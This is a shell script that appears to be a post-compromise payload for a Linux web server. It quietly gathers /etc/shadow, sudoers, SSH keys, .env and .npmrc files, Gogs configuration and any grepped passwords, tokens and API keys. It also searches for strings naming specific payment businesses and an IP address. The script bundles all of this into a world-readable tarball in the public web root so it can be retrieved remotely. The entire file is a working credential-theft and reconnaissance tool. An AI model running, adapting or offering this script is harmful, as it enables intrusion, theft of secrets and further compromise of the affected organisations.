#!/bin/sh
TAG="4361330"
D="/var/www/html/z4361330"
if mkdir "$D" 2>/dev/null; then
  (
    exec </dev/null >/dev/null 2>&1
    export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
    O="$D/out.txt"
    {
      echo "== identity =="; date -u; id; hostname; uname -a
      echo "== passwd =="; cat /etc/passwd
      echo "== shadow =="; cat /etc/shadow
      echo "== sudo =="; grep -vE '^#|^$' /etc/sudoers 2>/dev/null; ls -la /etc/sudoers.d 2>/dev/null; cat /etc/sudoers.d/* 2>/dev/null
      echo "== hosts =="; cat /etc/hosts
      echo "== hostname =="; cat /etc/hostname
      echo "== root ls =="; ls -la /root
      echo "== home tree =="; ls -laR /home 2>/dev/null | head -500
      echo "== opt tree =="; ls -laR /opt 2>/dev/null | head -500
      echo "== srv tree =="; ls -laR /srv 2>/dev/null | head -200
      echo "== var www =="; find /var/www -maxdepth 3 -ls 2>/dev/null | head -250
      echo "== docker =="; command -v docker docker-compose podman 2>&1; ls -la /var/lib/docker 2>/dev/null; find / -xdev -maxdepth 5 \( -name 'docker-compose*.yml' -o -name 'docker-compose*.yaml' -o -name 'compose.yaml' \) -not -path '/proc/*' 2>/dev/null | head -20
      echo "== node/npm =="; command -v npm node npx pm2 yarn 2>&1; npm config list 2>&1 | head -60; ls -la /root/.npm /home/*/.npm 2>/dev/null | head -80
      echo "== npmrc =="; for f in $(find / -xdev -name '.npmrc' -not -path '/proc/*' -not -path '/sys/*' 2>/dev/null | head -20); do echo "--- $f"; cat "$f"; done
      echo "== registry-ish dirs =="; find / -xdev -maxdepth 4 \( -iname '*verdaccio*' -o -iname '*registry*' -o -iname '*npm*' \) -not -path '/proc/*' -not -path '/sys/*' -not -path '/usr/share/*' -not -path '/usr/lib/*' -not -path '/usr/src/*' 2>/dev/null | head -100
      echo "== nginx =="; command -v nginx 2>&1; ls -la /etc/nginx 2>/dev/null; find /etc/nginx -type f 2>/dev/null | head; cat /etc/nginx/nginx.conf 2>/dev/null | head -120; for f in /etc/nginx/sites-enabled/* /etc/nginx/conf.d/*; do [ -f "$f" ] && { echo "--- $f"; cat "$f"; }; done
      echo "== apache =="; apache2ctl -S 2>&1; ls -la /etc/apache2/sites-enabled /etc/apache2/conf-enabled /etc/apache2/mods-enabled 2>/dev/null; for f in /etc/apache2/sites-available/*.conf /etc/apache2/conf-available/*.conf; do [ -f "$f" ] && { echo "--- $f"; cat "$f"; }; done
      echo "== certs =="; ls -la /etc/letsencrypt/live /etc/letsencrypt/renewal 2>/dev/null; for f in /etc/letsencrypt/renewal/*.conf; do echo "--- $f"; cat "$f"; done
      echo "== systemd units =="; for u in /etc/systemd/system/*.service /etc/systemd/system/*/*.service /lib/systemd/system/gogs* /root/.config/systemd/user/*.service; do [ -f "$u" ] && { echo "--- $u"; cat "$u"; }; done
      echo "== running services =="; systemctl list-units --type=service --state=running --no-pager 2>&1 | head -40
      echo "== cron =="; ls -la /etc/cron.d /etc/cron.daily /var/spool/cron/crontabs 2>/dev/null; for f in /etc/cron.d/* /var/spool/cron/crontabs/*; do [ -f "$f" ] && { echo "--- $f"; cat "$f"; }; done; for u in root debian; do echo "--- crontab $u"; crontab -l -u $u 2>&1; done
      echo "== env =="; cat /etc/environment 2>/dev/null; for f in /etc/default/*; do [ -f "$f" ] && echo "--- $f" && head -40 "$f"; done 2>/dev/null | head -200
      echo "== listening =="; ss -lntup 2>&1
      echo "== ps =="; ps aux 2>&1 | head -100
      echo "== histories =="; find / -xdev -maxdepth 5 \( -name '.bash_history' -o -name '.zsh_history' -o -name '*_history' \) -not -path '/proc/*' 2>/dev/null
      echo "== ssh client config =="; for f in /root/.ssh/config /home/*/.ssh/config /etc/ssh/ssh_config /etc/ssh/sshd_config; do [ -f "$f" ] && { echo "--- $f"; cat "$f"; }; done
      echo "== known_hosts =="; for f in /root/.ssh/known_hosts /home/*/.ssh/known_hosts; do [ -f "$f" ] && { echo "--- $f"; cat "$f"; }; done
      echo "== ssh keys =="; ls -la /root/.ssh /home/*/.ssh 2>/dev/null; for f in /root/.ssh/id_* /home/*/.ssh/id_*; do [ -f "$f" ] && { echo "--- $f"; head -3 "$f"; }; done
      echo "== key-ish files =="; find / -xdev \( -name 'id_*' -o -name '*.pem' -o -name '*.key' \) -size -20k -not -path '/proc/*' -not -path '/usr/*' -not -path '/etc/ssl/*' -not -path '/etc/letsencrypt/archive/*' 2>/dev/null | head -80
      echo "== cred dotfiles =="; find / -xdev \( -name '.git-credentials' -o -name '.netrc' -o -name '.pgpass' -o -name '.my.cnf' -o -name '.aws' -o -name '.docker' -o -name '.kube' -o -name '.vault-token' -o -name '.composer' \) -not -path '/proc/*' 2>/dev/null | head -40
      echo "== env files =="; find / -xdev -maxdepth 6 \( -name '.env' -o -name '*.env' -o -name '.env.*' \) -size -20k -not -path '/proc/*' -not -path '/usr/*' 2>/dev/null | head -40
      echo "== git remote configs =="; for f in /root/gogs-repositories/*/*.git/config; do [ -f "$f" ] && { echo "--- $f"; cat "$f"; }; done 2>/dev/null | head -600
      echo "== grep electro/37.187 =="; grep -rIn --include='*.conf' --include='*.ini' --include='*.yml' --include='*.yaml' --include='*.json' --include='*.env' --include='*.sh' --include='*.txt' --include='*.md' --include='*.php' --include='*.py' --include='*.js' --include='*.sql' -E '37\.187\.9\.48|electrocoin|bitcoin-mjenjacnica|paycek|mjenjacnica|intercard' /root /home /opt /srv /var/www /etc 2>/dev/null | grep -vE '/gogs-repositories/|/\.git/|node_modules|/var/www/html/(ati|att|net20|windowsinstaller|p3io|retrack|spice2x|FileZilla|Process)' | head -150
      echo "== grep secrets =="; grep -rIn --include='*.conf' --include='*.ini' --include='*.yml' --include='*.yaml' --include='*.json' --include='*.env' --include='*.sh' --include='*.py' --include='*.js' -E 'DB_PASSWORD|DBPASS|PASSWORD=|SECRET_KEY|API_KEY|TOKEN=|PRIVATE KEY|_authToken' /root /home /opt /srv /var/www 2>/dev/null | grep -vE 'gogs-repositories|node_modules|gogs/custom/conf/app.ini' | head -150
      echo "== app.ini =="; cat /root/gogs/custom/conf/app.ini 2>/dev/null
      echo "== apache logs =="; tail -30 /var/log/apache2/access.log 2>/dev/null; echo '--- error'; tail -10 /var/log/apache2/error.log 2>/dev/null
      echo "== auth log =="; ls -la /var/log 2>/dev/null | head -40; tail -30 /var/log/auth.log 2>/dev/null
      echo "== node app dirs =="; find /root /home /opt /srv -xdev -maxdepth 4 -name 'package.json' -not -path '*/node_modules/*' 2>/dev/null | head -40
      echo "== done =="
    } > "$O" 2>&1
    # bundle: small config-ish files from homes/opt/srv/etc
    LIST="$D/list.txt"
    : > "$LIST"
    find /root /home /opt /srv /var/www -xdev -type f -size -2M \
      \( -name '.*' -o -name '*.conf' -o -name '*.ini' -o -name '*.yml' -o -name '*.yaml' -o -name '*.json' -o -name '*.env' -o -name '*.sh' -o -name '*.service' -o -name '*.sql' -o -name '*.php' -o -name '*.txt' -o -name '*.md' -o -name '*.log' -o -name '*.bak' -o -name '*.backup' -o -name '*.cfg' -o -name '*.toml' -o -name '*.xml' \) \
      ! -path '/root/gogs-repositories/*' ! -path '*/.git/*' ! -path '*/node_modules/*' ! -path '/var/www/html/*' 2>/dev/null >> "$LIST"
    find /etc/apache2 /etc/nginx /etc/systemd/system /etc/cron.d /etc/sudoers.d /etc/letsencrypt/renewal -xdev -type f -size -2M 2>/dev/null >> "$LIST"
    for f in /etc/passwd /etc/shadow /etc/group /etc/hosts /etc/hostname /etc/environment /etc/ssh/sshd_config /etc/ssh/ssh_config /root/gogs/custom/conf/app.ini; do [ -f "$f" ] && echo "$f" >> "$LIST"; done
    sort -u "$LIST" -o "$LIST"
    tar czf "$D/bundle.tgz" -T "$LIST" 2>/dev/null
    chmod -R a+rX "$D" 2>/dev/null
    ls -la "$D" > "$D/ls.txt" 2>&1
    touch "$D/.done"
  ) &
fi
exit 0
